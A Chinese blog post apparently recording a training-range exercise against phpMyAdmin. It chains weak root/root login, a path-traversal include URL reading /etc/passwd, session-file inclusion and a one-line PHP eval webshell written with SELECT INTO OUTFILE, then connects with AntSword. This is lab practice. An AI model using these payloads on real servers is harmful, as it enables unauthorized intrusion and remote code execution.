【墨者】靶场练习——phpMyAdmin后台文件包含分析溯源

​​​​​​网上挺多教程的,但是像我一样迷迷糊糊的肯定也有吧,在这里写下我的练习过程,我也没怎么懂,之后有新的理解了再补充上。

附上我看的两篇文章链接:

step 1

首先我们启动靶场,点击访问就会跳转到phpMyAdmin的登陆页面,我们使用弱口令root,root登录。
在这里插入图片描述
在这里插入图片描述

step 2

构造URL,在index.php后添加内容,如显示/etc/passwd详细内容。(这一步可省)

http://124.70.71.251:41694/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

step 3

执行SQL语句查询数据库路径。(可省)

show global variables like "%datadir%";
或
select @@datadir;

在这里插入图片描述

step 4

在SQL中执行select ‘<?php phpinfo() ?>’,然后查看当前页面cookie中的phpmyadmin的值。
在这里插入图片描述

step 5

构建包含Session值的URL路径,包含session文件。为啥这个URL这样写呢我也还没懂。

index.php?target=db_sql.php%253f/../../../../../../../../../../../tmp/sess_+之前记录的cookie

在这里插入图片描述

step 6

写马

select '<?php @eval($_REQUEST[cmd]);?>' into outfile '/var/www/html/1.php'

在这里插入图片描述

step 7

蚁剑连接http://ip/1.php,在根目录下找到key.txt,需要提交的key就在这个文件里
在这里插入图片描述
在这里插入图片描述

  • 10
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值